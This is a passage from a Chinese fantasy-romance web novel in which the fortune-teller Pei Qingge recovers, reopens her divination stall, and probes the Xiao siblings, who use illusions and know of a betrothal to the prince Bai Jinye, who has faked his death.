要不要给王爷立个衣冠冢? 血莲吸了血之后,裴清歌也不像之前那么虚弱,气息也顺了不少,“我想再睡会。” “好。”白锦夜放她躺在床上,帮她盖好被子,“你先休息,我就在旁边,你有什么事叫我。” 裴清歌这一次没力气跟白锦夜再计较什么,闭上眼睛就沉沉的睡了过去,等她再醒来,天都已经黑了。 白锦夜也靠在她旁边睡着,他的眼下,也是浓重的黑眼圈,显然这么多天因为担心也没有好好休息,看到裴清歌醒过来,提着的心才终于放下踏踏实实地睡上一觉。 不过裴清歌一动,他还是立刻醒了过来,有些紧张地看着她,“有没有哪里不舒服?” “有点饿了。”裴清歌低声道。 白锦夜赶紧叫人送了软糯的流食来,从裴清歌中午醒了开始,这些吃的就一直在灶上热着,就等裴清歌睡醒饿了的时候,随时都能吃。 东西虽然多,但裴清歌也就只喝了半碗粥。 白锦夜扶着她靠在床头坐好,看着她瘦削的脸颊,眼底闪过歉意,“抱歉,约定的时间到了,你没来,我一直以为……你可能真的只是骗我,并不会来盛京,所以也没想着派人去找你,我应该去找你的。” “但我只是让人守了在普宁街,前几天看到有人进了店里,想等着你开了业,再找机会去见你。若是你一回来我就去普宁街找你,也不至于耽搁了几天,让情况变得这么凶险。” 裴清歌微微摇了摇头,低声断断续续地道,“让你担心了。” 白锦夜握住她的手,“我不怕担心,我只是怕……”他垂下眼,半响才道,“我只是怕来不及。” “只要有血莲在,我就没那么容易死。”裴清歌微微扯了扯嘴角,扯出一抹笑。 “到底发生什么事了?”白锦夜开口问道。 裴清歌沉默了会,又摇了摇头,“我也不太清楚那些人为什么追杀我。” “可是能伤到你的人应该也不多,是国君的人?”白锦夜微微皱起眉头。 “不像是北冥国人。”裴清歌说完这句就没再继续这个话题,开口问起白锦夜如今京中的情况。 白锦夜把梁鸿的事情跟她讲了一遍。 裴清歌倒也不意外,“这也是他罪有应得,就算他能活到我回来,我也不可能帮他什么。” “其余的,这盛京之中,变化倒也不大,只不过听说刚过年的那会,皇上病了一场。”说到这,白锦夜脸上闪过一抹嗤笑。 不用他说,裴清歌也大概明白,白锦夜字“璟成”,那边张之极收了个干孙子继承家业,叫张璟成,这是谁显然不用再想。 只要黄恒之一回京城,皇上就立马明白了,她对此也没有太多的评价,垂眼休息了一会,才问,“你最近晚上做梦,还和那时候一样么?” 白锦夜也知道,她问的就是游晚星那会入梦的事,他点了点头。 “有什么变化么?”裴清歌又问。 白锦夜摇了摇头。 裴清歌也没有再说话。 第二天一早,裴清歌喝了些粥,便要离开。 白锦夜怎么可能让她这个时候离开,“你的伤还没好,你就在这呆着,不会有人发现,等你再恢复些,再回普宁街。” “没什么大事了。”裴清歌坚持,“我还有些事要准备,放心吧,我没事。” 白锦夜拧着眉,还要再说什么。 “按照我们之前说好的,五天后,你来普宁街的挂摊找我。”裴清歌打断他的话,“我没有骗你。” 白锦夜怔了一下,知道她说的是她来盛京的时间晚了,他怀疑过她在诳他的事,“我只是……担心你一个人没办法照顾好自己。” 裴清歌笑了笑没说话,换了身下人的衣服,简单地做了些伪装,便从后门离开了,在街上绕了绕,确认没人跟踪后,才回了普宁街。 当天午后,她就开了店门,开始做生意。 店里都是落尘没有打扫,她受伤也没办法亲自动手,于是就在门口贴了一张招工的告示。 来应招的人不少,但裴清歌也讲究个眼缘,倒是没想到等到傍晚的时候,桑榆就来了。 她看到裴清歌,激动得都快哭了出来。 裴清歌也没想到桑榆会来,便坐下聊了几句。 原来没有跟着张之极离开的王府下人,虽然拿了不少遣散费,可在这盛京之中,却没人会再用他们,都怕跟肃亲王府扯上关系。 不过王府的产业也并没有全都变卖,有一些微微上了年纪的,便还在王府剩下的两三处产业,就算是养老了。 裴清歌的眼里闪过一抹歉意,王府出事,是因她而起,最后受苦的,却是这些下人,她轻轻地叹了一口气,“都还有哪些人在京中找不到事情可做,你如果能联系到的,可以让他们来我这。”她说着顿了顿,又补充,“但可不能暴露我的身份,对外我就还是左辞的表弟。” “王妃,你人可真好。”桑榆感动得眼睛都红了,又问,“那我还能回来么?” “当然能啊,傻丫头。”裴清歌也知道,王府那边,能安排的,白锦夜大概都会妥善安排好,但也不可能所有人都安置得尽善尽美,不然“肃亲王战死”这件事,可就太多疑点了,总得有些人是牺牲的。 桑榆一下子不知道该说什么好,甚至有点语无伦次,“王妃,你放心,就算你以后不是王妃了,我也还是会把你当成王妃的。”说到这,她的声音又有点哽咽,“只是王爷……其实大家都知道,王爷不会谋反,他打了那么多胜仗,可这一次到死都没能还自己一个清白……” 说别的裴清歌还能说点什么,说到这个,她只能低下头沉默。 桑榆还以为自己说到了裴清歌的伤心事,赶紧道,“王妃,你也别太难过了,咱们心里都明白就行了。只是可怜……听说王爷尸骨无存,连个坟冢都没有,过年之前,大家就在路口给王爷烧了纸,可也不敢让人知道是给王爷烧纸,也不知道王爷在那边能不能收到……” 顿了会,桑榆又问,“王妃,咱们要不要给王爷立个衣冠冢,或者去寺里供奉个牌位?听说可以供无字牌的。” 第191章 天煞孤星的命,难有姻缘 “……”裴清歌叹了口气,“以后再说吧,明天你先叫两个人来,把店面收拾一下。” “好。”桑榆赶紧点头,想着幸好王妃有手艺,没了王爷还能自力更生,以后也不用为生活发愁了。 普宁街的算卦摊开门的消息,很快就在京城中传开。 大家一时之间都还有点唏嘘,之前梁鸿苦苦等着挂摊开门的事,差不多人人都知道,如今挂摊开了,可梁鸿却等不到了。 不过这件事大家也就是个饭后谈资,毕竟梁鸿的生意被人接手之后,价格要比以前公道很多,而且也不会店大欺客,大家甚至都不太愿意提起梁鸿和以前的米市了。 但白锦夜这样做生意,白玉衡就坐不住了。 以前梁鸿的生意,他也插上一脚,分到手的利润可观。 当时生意转手之后,梁鸿带着白锦夜跟他的人见过一次,那会白锦夜还送上了一份厚礼,态度也还不错,再加上梁鸿的保证,他一直以为之后也不会出什么纰漏。 可等梁鸿彻底退出的时候,他发现这个新接手的人,根本不搭理他的人,连着派人去传了几次话,对方都爱理不理。 这么下去,就相当于他每个月进账的银子都少了三分之一,这让白玉衡怎么受得了? 思来想去,便准备办一场赏花宴,邀请京中的名贵,白锦夜也赫然在邀请之列,甚至还派人多次提点白锦夜一定要去。 白锦夜在吊了他几天之后,终于在赏花宴的前一天回了个帖子,说自己会去赏花宴的。 收到这帖子,白玉衡的心才放下来,只要白锦夜来,他相信自己一定能搞定他。 这一天,裴清歌也迎来一个特殊的客人。 一个十七八岁模样的少女,带着个丫鬟,进了门说要算卦,想要问自己什么时候能找到自己正在找的人。 找人的卦,裴清歌也没少算过。 但这个卦象,算出来却有些奇怪,她皱起眉,半响都没有说话。 “怎么样?”少女忍不住开口问道,“还能找到么?是不是找不到了?” 裴清歌思索了会,才问,“姑娘可否告知,你要找的人,与你是什么关系?” 那少女犹豫了下,没有说话。 倒是一边的丫鬟开了口,“是我们未来的姑爷。” “未来的姑爷?”裴清歌有些好笑,“姑娘若是已经有婚约在身,那你们未来的姑爷在哪,应该不需要算卦,若是没有婚约在身,那不该算找人的卦,应该算姻缘。” “有婚约。”少女这一次自己开口道,“但是这婚约很早很早之前定下的,我也是最近才知道,也可能他根本就不知道。” 裴清歌不对别人的家事做评价,只是说,“这卦有两种结果,一种是你要找的人,已经不在人世了。另外一种,就是他如果还活着,那你这几天就会找到他。” “啊?怎么还会有两种结果?”少女忍不住问道。 裴清歌垂眼又看了看卦象,“卦象如此,我只是照着卦象说。” “这几天就能找到了么?”少女的眼神里带着几丝雀跃。 “小姐,你可别这么乐观。”丫鬟忍不住拽了拽她的袖子,“不是说要是他还活着才能找到么?” “是啊,但是他肯定活着。”少女说着拿出卦金放在桌上,“你算卦还蛮准的。” “我算卦确实准,不过你不等几天再下这个结论么?”裴清歌笑着看她。 “我都没有说是谁,你就说他可能死了。虽然大家都说他死了,但是我不信。”少女站起身,“等我这几天找到了他,再送你一份大礼。” 裴清歌看着她,收回目光,收起卦金放在一旁的竹篮中,隐隐地有一丝感觉,这人要找的,就是白锦夜,沉默了会,她开口试探,“只不过,从卦象上,这人成过亲。” “这都能看出来?”少女惊讶地看着裴清歌,“确实,不过我爷爷说他那次成亲徒有其名,不会影响我和他的婚事。” 裴清歌微微点点头,“那就祝姑娘好运。” “借你吉言。”少女开心地带着丫鬟离开了。 裴清歌遣了个鬼,跟上了她们两个人,她们走出普宁街没多远,就碰到一辆马车。 马车上下来一个青年,少女叫了声“大哥”就迎了上去。 那青年应了声,目光却朝遣鬼的方向看过来,状若无意地抬手挥了挥,遣鬼就被他打退了。 裴清歌拧起眉头,眼底闪过一抹深意。 * 第二天白锦夜去参加了赏花宴,傍晚结束后,就直奔普宁街。 裴清歌正准备收摊,见他过来,也就停下了手里的动作。 白锦夜这时候过来,也是知道这会人少,说话也方便些。 只不过他刚在裴清歌的对面坐下,又一辆马车就停在了门外,一男一女从马车上下来。 女子就是昨天来的少女,男子就是击退遣鬼的人。 裴清歌扫过两个人,脸上也没有什么多余的表情,只是转头看向桑榆,“先招呼下客人。” 桑榆迎上去,正要引着他们去一旁坐下稍等,两个就先向白锦夜开了口,“楚公子。” 之前白锦夜说过要和楚星玄一起做生意的事,当时就说他多出钱,楚星玄出人,所以他这次回盛京以后,做生意都是用的楚星玄的名号,对方先打了招呼,不过也不熟,不过就是在赏花宴上碰过一面,所以白锦夜也就是微微点头示意。 那青年率先走过来,站在桌旁,看了看桌上的铜板,开口道,“昨日我妹妹来这里算卦,说是这位先生算卦极准,今日宴席散了,我便说来看看,没想到楚公子也来了。” “是啊。”白锦夜应了声,“我接手生意那会,梁老板三句话不离这个挂摊,每日都说很是灵验,可惜梁老板没等到,听说这挂摊重新开张,我便来看看,是不是真的像是梁老板说的那样。” 青年笑了笑,又问,“不知道楚公子打算算什么?” “生意人还能算什么?算财运。”白锦夜说着顿了下,“不过我也不着急,不然萧公子先来?” “那我就却之不恭了。”青年倒也没有推辞,“时间不早了,我要早些送妹妹回家,就不谦让了。”他说着从桌上拿起铜板。 他先算卦,白锦夜是求之不得,正好早点算完早点走,他也方便跟裴清歌说话,于是他赶紧站起身,把位置让给了青年。 “这位公子算什么?”裴清歌开口问道。 青年把铜板在手上掂了几下,想了会才说,“算姻缘,我这年纪也不小了,早就该到成婚的年纪,可却怎么都不成,你来给看看,我什么时候才能成亲。” “如果是算姻缘,就不必算了。”裴清歌看着他,“天煞孤星的命,难有姻缘。” 青年似乎倒也不介意裴清歌说的,只是轻笑了一声,“如果我非要算呢?” 第192章 幻象 裴清歌闻言也笑了笑,“公子若是不怕听了之后心里发堵,就请吧。” 青年摇了卦。 裴清歌看着卦象,“你眼光极高,很难有人入你的眼,从你自己的角度来说,你是不愿意将就的,哪怕一个人过一辈子,也好过将就着两个人都不舒服。此外,在你的婚事上,阻碍也很多,就算有你看中的姑娘,也会因为各种各样的事情导致你们没办法在一起。总之,从卦象上看,有姻缘,但姻缘不成,孤独终老。” 青年看着裴清歌,也没有因为她的话生气,像是早就知道结果一样,“先生算卦,只说实话么?” “我骗人对我有什么好处?”裴清歌反问。 “只是觉得算卦一事,到底是泄露天机,先生不怕泄露得太多,将来有什么不好的报应么?”青年又问。 裴清歌微微皱了下眉,“我既然以此为生,那就得承担这样的后果。好比摆渡的人,常年在水里,万一遇上风浪,就有翻船落水淹死的可能,那摆渡的人不也一样在摆渡么?老天既然赏我这碗饭吃,我能为人解惑,给人希望,或者让人别有不该有的希望,我觉得我就应该尽力做些力所能及的。公子说是么?” 青年沉默了片刻,隔了会才笑道,“有道理。”他说着站起身,对裴清歌作了个揖,“在下萧尺寒,先生的话如醍醐灌顶,若先生不嫌弃,可愿与萧某做个朋友?” “做朋友没问题。”裴清歌看着他,“卦金记得给。” “这是自然。”萧尺寒掏出卦金放在桌上,“时候不早了,萧某改日再来拜会。” 少女对着裴清歌眨了眨眼,才跟着萧尺寒出了门,到上马车之前,还能听到她的声音,“大哥,你还不相信我说的,这次你信了吧?回家可要告诉爷爷,就说……” 看着马车离开,白锦夜才重新在裴清歌的面前坐下。 裴清歌手里把玩这铜板,才低声问,“这两个人是谁?” “是太师萧公瑾的孙子孙女。”白锦夜说着顿了下,又补充,“皇上登基之后,太师就带着全家人在京郊的宅子里,偶尔出去游山玩水,很少回城里。皇上大概是觉得身边可用之人太少,所以趁着新年,亲自去给太师拜年,之后请了太师回京。” 裴清歌微微皱了下眉头,没再说话。 “我也是今日在衡王的赏花宴上才第一次见到他们。”白锦夜说到这,脸色也有些凝重,“不过今天真是奇怪,按说这才四月,哪有那么多花开?衡王府上百花争艳,就连秋菊都开得极为繁盛。” “哦?”裴清歌收回思绪,看向白锦夜,伸出手,犹豫了下,才问,“我可以看看么?” 白锦夜明白她的意思,点了点头。 裴清歌抬手按上他的眉心,也只是看了今天宴席上的场景,她收回手的时候,眉头皱得更紧,“是幻象。” “幻象?你是说那些花都是假的?”白锦夜有些诧异,“可是花香都能闻到。” 裴清歌想了会,才问,“萧家兄妹,在宴席上的反应如何?” “听说这也是他们回京后第一次参加宴会,衡王对能跟太师的人搭上线这件事很自豪,所以一直把他们两个带在身边。”白锦夜又想了想,“我好想无意间听见有人说今日这花很多都是那位萧姑娘准备的……不过我不确定。” 他并没有多少心思在赏花宴上,况且萧家是皇上的势力,除非必要,不然他也不愿意接近。 “那问题就不大了。”裴清歌知道,既然萧尺寒能一眼看穿遣鬼,那这种幻象应该也是能看透的,不过如果是他们一手设计的,那就对了。 而且以刚才给萧尺寒算卦的结果来看,萧尺寒也早就知道自己天煞孤星的命,甚至于她说的话,之前就有人对他说过。 换句话来说,他今天并不是来算卦的,而是来验证的。 “你可听说,那萧姑娘有婚约在身?”隔了会,裴清歌才问。 说到这,白锦夜的脸色有些微红,神情里也带着几抹尴尬,“据说是萧家到这一代,都是男孩,就得了这么一个女孩,全家都宠得不行。满月那天,在京城里办了盛大的满月礼。当时萧公瑾还是太子太傅,我外公也去了。” “酒后萧公瑾跟我外公说,想要结亲。那时张家也正是兴旺之时,外公就一口答应了。可没想到萧公瑾提的人是我,外公就赶紧说皇子的婚事轮不到他做主,又说他喝醉了,醉话不能当真,就仓促离席了。” “外公也没跟我提起过这事,这还是当初我向皇上求娶裴玲珑的时候,皇上提了一嘴。但当时外公回绝了,又说了是醉话,之后也没人再提起,更没人当真了。” “况且我现在已经成亲了,再说我也不是王爷了,这事就更不可能了。”白锦夜又想了想,确认自己应该是解释清楚了,才又开口道,“是昨天萧姑娘来算卦说什么了?” “她也算姻缘。”裴清歌只是简单地解释了句。 “你放心。”白锦夜抬手握住裴清歌的手,“我不会跟她有什么的,再说名义上我已经‘死了’,就算他们非要拿婚约说事,那也找不到人了。” 裴清歌把手抽回来,“我只是随便问问。” 白锦夜皱起眉头,这可真麻烦,本来裴清歌这边就对他不冷不热的,现在又冒出来个萧家的婚约,虽然跟他没什么关系吧,可现在搞不好又是个他要收拾的烂摊子。 “时候不早了,你先回去吧。”裴清歌说着顿了顿,“五日之后,你在康顺楼定个雅间,对外就说今日找我算卦后,得了些生财之道的指点,所以宴请,有什么事到时候再说吧。” 白锦夜转头看了看外面的天色,确实也不方便再继续呆下去,只好起了身,他今日进门的时候,就见到了桑榆和另外两个原来王府遣走的下人。 这些从王府出来的人,身家都干净,倒也不用担心。 有他们在,起码生活起居上,他也不用担心裴清歌。 “好,那我先走了,五日后见。” 白锦夜一出门,裴清歌就招呼着下人关了店铺。 只不过他刚走出去没多远,就见到拐角处站着的萧尺寒,“楚兄,相请不如偶遇,一起去喝杯水酒?” 第193章 你为什么这么神秘? 白锦夜当然看的出来,萧尺寒站在这里,就是专门等他。 他沉默了片刻,才道,“萧公子既然有这个兴致,那恭敬不如从命。” 萧尺寒走到马车前,“我虽然算是京城人,但是在京中的日子也不多,楚兄若是没有特别想去的酒楼,咱们就去云曦阁吧。” “我也刚到盛京没多久,萧公子做主就好。”白锦夜微微点头。 萧尺寒见白锦夜应了下来便道,“马车送我妹妹回家了,只能乘你的马车了。” 裴清歌站在二楼的窗前,看着萧尺寒上了白锦夜的马车,微微眯起眼。 云曦阁是盛京最大的酒楼,萧尺寒虽说自己不怎么在京中,但起码回京之后也应该是云曦阁的常客,小二直接把他们带到了二楼雅间,显然也是他常用的雅间。 点好菜,小二离开之后,萧尺寒才看向白锦夜开口道,“之前听说,楚兄是生活在江南?” 白锦夜点了点头。 萧尺寒笑了笑,“我有个朋友,和楚兄同名,不过却在北边,我以前还想,楚姓本来就不常见,这名字又这么特殊,应该不会有同名呢。” 白锦夜垂眼看着面前的茶杯,知道萧尺寒说的就是楚星玄本人,既然已经冒充了,那就索性冒充到底,“世上还有这么巧的事,那不知道萧公子这位朋友的父亲是不是也叫楚云颂?” 萧尺寒愣了下,随即笑开,“原来如此。”他又抬手把白锦夜的茶杯满上,“以前就一直听爷爷说起,他这姓楚的朋友已经多年未见,有生之年恐怕也都再难以相见。又听说他只有一位公子名星玄。倒是我唐突了,楚兄不必介怀。” 白锦夜端起茶杯,抿了一口,没有想到楚家和萧家还有交情,也幸好他们没有见过楚星玄,眼下倒是还能糊弄。 顿了会,他才说,“不过家父倒是没怎么提起他在盛京有熟人的事,不然我初来乍到,定然去萧府拜会了。” “哎。”萧尺寒叹了口气,“爷爷也只提过那么一两次,毕竟……‘围北之战’之后,两家就断了联系。” 他这么一说,白锦夜也就放心了,他的身份这下大概是不会被拆穿了。 “只是不知道,楚兄为何会突然到盛京来?”萧尺寒隔了会才问道。 “家里发生了一些变故,有些东西流落在外面,需要找回去。”白锦夜犹豫了下,才开口道。 他说得这么含糊,萧尺寒也不方便继续问,只是说,“楚兄若是有什么需要帮忙的,尽管开口。” 白锦夜点了点头,“若有需要,可就要麻烦萧公子了。” “不用这么客气,以后你也在盛京之中,咱们多走动就是。”萧尺寒说着顿了下,“若是爷爷知道你来了盛京,一定特别开心。” 白锦夜觉得这件事有必要先跟裴清歌通个气,便道,“等过些日子,我定当去府上拜会。” 说着话,小二也开始上菜,萧尺寒便没有再说这些事,而是说起了今天的赏花宴,又问白锦夜觉得那些花如何。 如果身份没有说穿,那白锦夜就算已经从裴清歌那知道了是幻象,这会也不能说破,但是既然已经承认了自己就是楚星玄,那作为楚星玄自然是知道这些就是幻象的。 而萧尺寒此刻提起这个,未免不是一种试探。 白锦夜笑了笑,只说,“衡王开心就好。” 他这么一说,萧尺寒也笑起来,两个人对视一眼,心照不宣。 又随意地说了些话,喝了点酒,白锦夜送了萧尺寒回萧府,才让车夫驾车往家里走。 刚走没多远,他微微皱了下眉头,直觉感觉到不远处有人跟着他。 这种感觉是以前从没有过的,就是一丝若有若无的陌生气息在不远处盯着他。 白锦夜感觉,这应该是冥尸所特有的,对方这个距离跟着他,如果是普通人,就算武功再高,大概都感觉不到,但是冥尸就不一样了。 所以对方估计也没想到他会发现。 这感觉一直到他的马车在府门口停下来的时候才消失。 虽然不知道对方是谁,但是他感觉自己已经记住了这丝气息,只要以后再遇到,就一定能认出来。 以前他也不觉得自己身边的人会什么术法一类的,可今天萧家人能弄出来幻象,就证明萧家在术法上是有些造诣的。 甚至于当年白砺寒还是太子的时候,萧公瑾为了扶植他,说不定也做过些什么,因此才会在白砺寒登基之后,离开京城,不然作为皇上的老师,萧公瑾在京中的地位可想而知。 如今虽然也还是顶着太师的身份,但毕竟多年不在京中,很多关系也淡下去了。不少人摸不清皇上的心思,也会对此持观望态度。 若是想了解萧家人,此时倒确实是个接近他们的好机会。 * 第二天下午,萧家小姐萧忆翎又来了普宁街。 她饶有兴趣地看了堂上的对联,挑了个没人的空隙,在裴清歌的旁边坐了下来,“你这对联怎么不写个横批?” 她说的,正是裴清歌开店那天写下的“大笔断阴阳,狼毫斩五行”的对联。 裴清歌没有回答这个问题,只是问,“萧小姐今日算什么?” “不算不算。”萧忆翎摆了摆手,“就是闲来无事,来这里逛逛。”她似乎也不在意裴清歌没有回答她的问题,而是转口又问,“那你这店怎么也不起个名字?我听外面的人就都说普宁街的算卦摊,连个店名都没有。” 裴清歌轻皱了下眉,“萧小姐若是闲着无事,不如去找人。” 说到这个,萧忆翎叹了口气,隔了会才开口道,“那你叫什么?跟别人打听你,他们就说你是原来肃亲王府总管左辞的表弟,可是姓甚名谁都没有人知道。没有店名,也不跟别人说自己的事情,你怎么这么神秘?” “我开门做生意,萧小姐若是不算命……”裴清歌抬手指了指门的方向,意思明显。 “算,那我算。”萧忆翎抓起桌上的铜板,“我想算算……这位给我算卦的先生,叫什么名字。” 第194章 你爷爷也会算卦? 裴清歌觉得她今日来,多少是有点无理取闹了。 索性一边整理之前在纸上写出来的卦象,一边道,“萧小姐有话直说吧。” 萧忆翎把玩着手里的铜板,“我觉得你给我算了卦,就大概能猜到,我要找的人其实是肃亲王。我回了京城之后,一直在让人打探肃亲王府的事,前段时间,司空还在京城,负责处置肃亲王府所有的产业,他那个人冷冰冰的,问十个问题,他都不答一个。” “王府的产业都变卖了之后,只剩下两处产业,现在都是原来王府的一些上了年纪的仆人在住。那些人本来就是因为上了年纪,之前也很少见到肃亲王,所以根本不可能知道太多关于王府的事。” “王府出事的时候,你突然关店,现在你回来了,而且你这店里用的几个下人,也都是原来王府的人,所以我觉得你一定跟王府还有什么关系,说不定你就知道他在哪。” 裴清歌笑了笑,“之前是我表哥跟我说王府有危机,让我出去躲躲,虽然我并不在王爷的九族之内,但是这种事谁不怕被牵连呢?此番回京,也是肃亲王一事尘埃落定,我回来之前,表哥交代我,若是遇到王府的人,能照拂就照拂下,反正都要请人,那我就卖我表哥个人情,请王府的旧人。再说,这些人相对来说都知根知底的,我用着也放心。” “是么?”萧忆翎停下手里的动作,认真地看着裴清歌,“那你表哥现在在哪呢?” “这我就不知道了,不过他上次给我写信的时候,信是从复州寄过来的。”裴清歌回道。 “复州的事,我倒是也知道。”萧忆翎点点头,“听说张老将军认了个干孙子,叫张璟成,张公子年前一直都在复州,据说离开复州的时候,左辞也跟着了,他们一路往西,也不知道去哪了。” 裴清歌垂下眼,看样子,萧忆翎知道得还不少。 “那不然,你能不能帮我算算,他们去哪了?”萧忆翎又问。 “我也只是能算出大概方位,就像是你知道他们一路往西,但是往西走到哪,你要找的范围不也还是很大么?”裴清歌说着顿了顿,“不过反正张太妃和张老将军就在复州,你派人守在复州,不就好了?” “可我没有那么长时间了啊。”萧忆翎把铜板放在桌子上,双手合十看着裴清歌,脸上带着几丝乞求,“求求你了,再帮我算算他到底在哪吧,我知道你肯定能算出来。” 裴清歌看着她,“你找到他,他就一定会娶你么?万一他不娶呢?” 萧忆翎沉默了会,才道,“可是他只能娶我啊,只要能找到他,我一定有办法说服他的。” 裴清歌笑得有点无奈,“当初他无论是在月城也好,回了京城也好,你都没有想过要找他,可非要等王府出了事,才来找,这不是自己给自己设置难题么?” 萧忆翎拧着眉,对着自己的丫鬟佩玉使了个眼色,佩玉便走到门口,关上了门,人也守在了门外。 不想让人进来,也显然是不打算让裴清歌做生意了。 “这件事我也没有办法,因为我以前确实不知道婚约的事情。这还是过年那会我爷爷说的,他说肃亲王二十二岁有个劫难,看着是死劫,但实际上是置之死地而后生。而且这死劫之后,他的命格就彻底改变,基本上和以前的亲人都会断绝关系。所以若是在这劫难之前,我和肃亲王认识了,那我们的姻缘就会随着他这个死劫消失。” “以前小时候,我和他都在京中的时候,家里人就看我看得特别严,凡是他到的地方,我都得退避三尺。那些年我连门都不能出,就生怕一不小心跟他打个照面。” “后来他去了月城,我才能出门。到皇上登基的时候,爷爷说,肃亲王的这个劫会跟皇上有关,所以我们得避开。我们这几年就都在京郊的别院,也是今年过完年,才搬回了城内来住。” “爷爷说他肯定没有死,只是想找他也很难。”萧忆翎说着又重重地叹了口气,“爷爷也没办法知道更详细的事情了,我之前听人说你算卦很准,什么都能算到,才会来找你的。” 裴清歌微微眯了眯眼,状似无意地问道,“你爷爷也会算卦?” “不会。”萧忆翎摇了摇头。 裴清歌知道萧忆翎能制造幻象,况且在衡王的别院,制造那么大规模的幻象,并且可能要维持几天,应该是极其耗费精力的,但那两日见到萧忆翎的时候,也没有见到她气色不好,精神萎靡,显然这种事对她是信手拈来的。 只不过她好像对遣鬼这种事没什么感觉,所以她和萧尺寒应该学的是两种完全不同的术法。 按照萧忆翎刚才说的,那么她爷爷,应该也是会些什么的。 甚至很有可能在她之上。 她看到白锦夜的死劫。 可是萧公瑾在很多年前,就看到白锦夜是能过了这个死劫的,那时候她师父还在北冥国,她更是没有重生。 裴清歌抬手敲了敲桌子,又问,“你爷爷不会是在骗你吧?” “那怎么会?他不可能拿我的婚事来开玩笑的。”萧忆翎认真地道。 裴清歌思索了好一会,才试探地开口,“若是一定要知道他到底在哪,也不是不可以,但是对我来说,要耗费很大的心神,甚至有可能折寿。所以如果没有充足的理由,我不会帮你算这一卦。” “况且,现在在世人眼里,他就是死了,若是他的位置暴露了,对他来说,可能招来杀身之祸。以萧太师和皇上的关系,我若是算了这一卦,恐怕我表哥都会杀了我。” 其实裴清歌也知道,皇上要是想找白锦夜,也没这么麻烦,只要派人守着张之极和张太妃,或者传出一些要对张之极和张太妃下手的消息,白锦夜不可能视之不理。 但皇上大概没想要这么快打自己的脸,那边刚说了不追究,这边突然对张家人动手,说是怀疑白锦夜没死,可到底没有证据,在别人看来就像是他找了个不怎么好的借口想要清理余孽。 皇上这些年没有子嗣,显然不想再在其他的地方落人话柄了。 “跟皇上真的没有关系。”萧忆翎有点急,“不然你改天去我家做客,我让我爷爷给你保证!以我爷爷的身份地位,有他的保证,你就该相信了吧?” 第195章 萧公瑾开始试探她了么? 裴清歌垂下眼,像是在思索。 这个萧公瑾确实应该会些东西,只有见面才能知道得更多。 但是若是她主动上门,会显得有点奇怪,现在萧忆翎邀请,她就可以顺势答应下来。 只不过马上答应,又显得太过刻意。 正在她像是在纠结要不要去的时候,门外传来佩玉的声音,“大少爷。” “小姐在?”萧尺寒的声音也跟着传过来。 没一会,门便打开了,萧尺寒进来,佩玉便又赶紧关上了门。 萧尺寒看着萧忆翎笑得有点无奈,“阿翎,你在外面可不能这么任性,你这让先生还怎么做生意?” “可以做我的生意啊。”萧忆翎低声道,“我也是给卦金的。” 萧尺寒有些歉意地看向裴清歌,拱了拱手,“先生莫怪,我妹妹从小被家里人宠着,性子乖张,我这里赔罪了。”他说着从荷包里拿出一锭金子放在桌上,“这就当是影响了先生生意的赔礼。” 裴清歌看着桌上的金子没动,“这会正好也没有生意上门,就陪着萧小姐聊了会,倒也没影响什么生意。不过——”她说着一转口,“这样确实不妥,让人知道我和萧小姐两个人在店里,孤男寡女的,未免落人话柄,我倒是不在意,但于萧小姐的名声有损。” 她这么说,萧尺寒大概也明白了她的意思,就是让萧忆翎以后少来了,“先生放心,我会好好说教妹妹,不给先生造成困扰。”他说着转头看向萧忆翎,“还不快让佩玉把门打开?” 萧忆翎沉默了会,脸上有些不开心,没有去叫佩玉开门,而是朝着萧尺寒开口道,“大哥,我就是想要算算卦,看看他到底在哪嘛。而且这位先生都说能算出具体的地点了,可是不愿意告诉我,你跟他好好解释一下,我们不会暴露那个人的行踪,也不会伤害他。” 萧尺寒轻轻叹了口气,隔了会才道,“你一个姑娘家,不要老是念着这个事,我和爷爷会派人去找的。” “那你们要找到什么时候啊?”萧忆翎更不开心了,“这位先生明明可以直接告诉我们的,我刚才已经邀请他去家里做客了,我的话他不信,爷爷的话总能相信了吧?他还没答应你就来了,都让你给打断了。” 萧尺寒这才重新看向裴清歌,“那先生赏个脸,改日到府上做客?”他说着顿了顿,想着刚才如果裴清歌没有直接答应下来,可能是顾忌什么,毕竟萧家只有萧忆翎这一个女孩,这位先生看样子也尚未婚配,突然上门,确实可能会让人猜疑,于是又补充道,“正好我也邀请了昨日来算卦的那位米商楚兄,先生跟他一起来,也不会有人疑虑什么。” 裴清歌知道昨天萧尺寒和白锦夜私下碰了面,倒是没想到他还邀请了白锦夜去家里做客,她又沉默了几息,才道,“也好,但是话先说在前面,我只是去做客,至于会不会算这一卦,也要等做客之后再决定。” 听她这么一说,萧忆翎一下子就开心起来,把桌上的金子往裴清歌的面前推了推,“钱你就收着,不用跟我大哥客气。” 萧尺寒倒也不在意萧忆翎这行为,“你也出来好一会了,我刚才出门的时候,还见娘问门房你去哪了。” 萧忆翎脸垮了下来,“我这就回去了。” 萧尺寒点点头。 萧忆翎虽然在向外面走,但是步子迈得又小又慢,似乎是等着谁开口把她留下来一样,一直到了门口,也没人再说话,她只能有些不甘心地开门离开了。 萧尺寒目送着她离开,这才坐下来开口道,“我这妹妹,前些年很少出门,所以现在只要出了门就不愿意回家。我娘看着她,她也总是找借口偷偷跑出来玩。” 裴清歌笑了笑,也没搭话。 隔了会,萧尺寒又问,“先生怎么称呼?” 裴清歌暗暗地翻了个白眼,这兄妹两人还真是……连问的问题都一样,但是她一直在京中,没有名字确实也不方便。 不过想要探萧公瑾的底细,恐怕还得用“裴”这个姓。 圣女一脉,不管收养的孤儿来自哪里,都会一律姓裴,“裴子轩。” “裴先生。”萧尺寒又拱了拱手。 “萧公子今日来,也要算卦么?”裴清歌开口问道,他显然不是来找萧忆翎的,刚才那话,大概就是为了把萧忆翎支走。 萧尺寒苦笑了一声,才道,“我这几日也听说过,有些人遇到了些难题,你都能给解决,所以你应该也不只是会算卦。那不知道,对天煞孤星这种命有没有什么解决的方式?比如……改名?” 裴清歌微微眯了下眼,昨天萧尺寒来算卦的时候,可没问过后续,如今问出这样的问题,大概率是回去跟萧公瑾说过,现在他直接过来问改命……看样子萧公瑾这是已经开始在试探她了。 “天煞孤星之人刑克六亲,但如今萧公子身边的人都活得很好,想必已经有人为你做过什么了。”裴清歌看着他,“对方难道没给你说过关于改命的事么?” 萧尺寒摇了摇头,“他也只能做到如此了,只能保证我不会克死亲朋,但……”说到这他又停了下来。 裴清歌笑了笑,“怎么了?萧公子有了意中人,因为这命格所以姻缘不成?” 